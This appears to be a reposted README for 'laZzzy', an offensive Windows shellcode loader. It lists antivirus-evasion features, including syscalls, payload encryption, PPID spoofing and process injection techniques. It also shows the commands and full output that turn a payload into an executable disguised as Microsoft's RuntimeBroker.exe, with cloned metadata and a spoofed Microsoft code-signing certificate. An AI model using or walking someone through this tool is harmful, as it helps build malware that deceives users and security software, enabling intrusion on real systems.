laZzzy - Shellcode Loader, Developed Using Different Open-Source Libraries, That Demonstrates Different Execution Techniques

laZzzy is a shellcode loader that demonstrates different execution techniques commonly employed by malware. laZzzy was developed using different open-source header-only libraries.


  • Direct syscalls and native (Nt*) functions (not all functions but most)
  • Import Address Table (IAT) evasion
  • Encrypted payload (XOR and AES)
    • Randomly generated key
    • Automatic padding (if necessary) of payload with NOPS (\x90)
    • Byte-by-byte in-memory decryption of payload
  • XOR-encrypted strings
  • PPID spoofing
  • Blocking of non-Microsoft-signed DLLs
  • (Optional) Cloning of PE icon and attributes
  • (Optional) Code signing with spoofed cert

How to Use


  • Windows machine w/ Visual Studio and the following components, which can be installed from Visual Studio Installer > Individual Components:

    • C++ Clang Compiler for Windows and C++ Clang-cl for build tools

    • ClickOnce Publishing

  • Python3 and the required modules:

    • python3 -m pip install -r requirements.txt


(venv) PS C:\MalDev\laZzzy> python3 .\ -h

⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀
⠀⠀⣿⣿⠀⠀⣿⣯ ⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀

usage: [-h] -s -p -m [-tp] [-sp] [-pp] [-b] [-d]

-h, --help show this help message and exit
-s path to raw shellcode
-p password
-m shellcode execution method (e.g. 1)
-tp process to inject (e.g. svchost.exe)
-sp process to spawn (e.g. C:\\Windows\\System32\\RuntimeBroker.exe)
-pp parent process to spoof (e.g. explorer.exe)
-b binary to spoof metadata (e.g. C:\\Windows\\System32\\RuntimeBroker.exe)
-d domain to spoof (e.g.

shellcode execution method:
1 Early-bird APC Queue (requires sacrificial proces)
2 Thread Hijacking (requires sacrificial proces)
3 KernelCallbackTable (requires sacrificial process that has GUI)
4 Section View Mapping
5 Thread Suspension
6 LineDDA Callback
7 EnumSystemGeoID Callback
8 FLS Callback
9 SetTimer
10 Clipboard


Execute and supply the necessary data.

(venv) PS C:\MalDev\laZzzy> python3 .\ -s .\calc.bin -p CaptMeelo -m 1 -pp explorer.exe -sp C:\\Windows\\System32\\notepad.exe -d -b C:\\Windows\\System32\\mmc.exe

⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀ ⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀
⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀

[+] XOR-encrypting payload with
[*] Key: d3b666606468293dfa21ce2ff25e86f6

[+] AES-encrypting payload with
[*] IV: f96312f17a1a9919c74b633c5f861fe5
[*] Key: 6c9656ed1bc50e1d5d4033479e742b4b8b2a9b2fc81fc081fc649e3fb4424fec

[+] Modifying template using
[*] Technique: Early-bird APC Queue
[*] Process to inject: None
[*] Process to spawn: C:\\Windows\\System32\\RuntimeBroker.exe
[*] Parent process to spoof: svchost.exe

[+] Spoofing metadata
[*] Binary: C:\\Windows\\System32\\RuntimeBroker.exe
[*] CompanyName: Microsoft Corporation
[*] FileDescription: Runtime Broker
[*] FileVersion: 10.0.22621.608 (WinBuild.160101.0800)
[*] InternalName: RuntimeBroker.exe
[*] LegalCopyright: © Microsoft Corporation. All rights reserved.
[*] OriginalFilename: RuntimeBroker.exe
[*] ProductName: Microsoft® Windows® Operating System
[*] ProductVersion: 10.0.22621.608

[+] Compiling project
[*] Compiled executable: C:\MalDev\laZzzy\loader\x64\Release\laZzzy.exe

[+] Signing binary with spoofed cert
[*] Domain:
[*] Version: 2
[*] Serial: 33:00:59:f8:b6:da:86:89:70:6f:fa:1b:d9:00:00:00:59:f8:b6
[*] Subject: /C=US/ST=WA/L=Redmond/O=Microsoft Corporation/
[*] Issuer: /C=US/O=Microsoft Corporation/CN=Microsoft Azure TLS Issuing CA 06
[*] Not Before: October 04 2022
[*] Not After: September 29 2023
[*] PFX file: C:\MalDev\laZzzy\output\

[+] All done!
[*] Output file: C:\MalDev\laZzzy\output\RuntimeBroker.exe

Libraries Used

Shellcode Execution Techniques

  1. Early-bird APC Queue (requires sacrificial process)
  2. Thread Hijacking (requires sacrificial process)
  3. KernelCallbackTable (requires sacrificial process that has a GUI)
  4. Section View Mapping
  5. Thread Suspension
  6. LineDDA Callback
  7. EnumSystemGeoID Callback
  8. Fiber Local Storage (FLS) Callback
  9. SetTimer
  10. Clipboard


  • Only works on Windows x64
  • Debugging only works on Release mode
  • Sometimes, KernelCallbackTable doesn't work on the first run but will eventually work afterward


laZzzy - Shellcode Loader, Developed Using Different Open-Source Libraries, That Demonstrates Different Execution Techniques laZzzy - Shellcode Loader, Developed Using Different Open-Source Libraries, That Demonstrates Different Execution Techniques Reviewed by Zion3R on 8:30 AM Rating: 5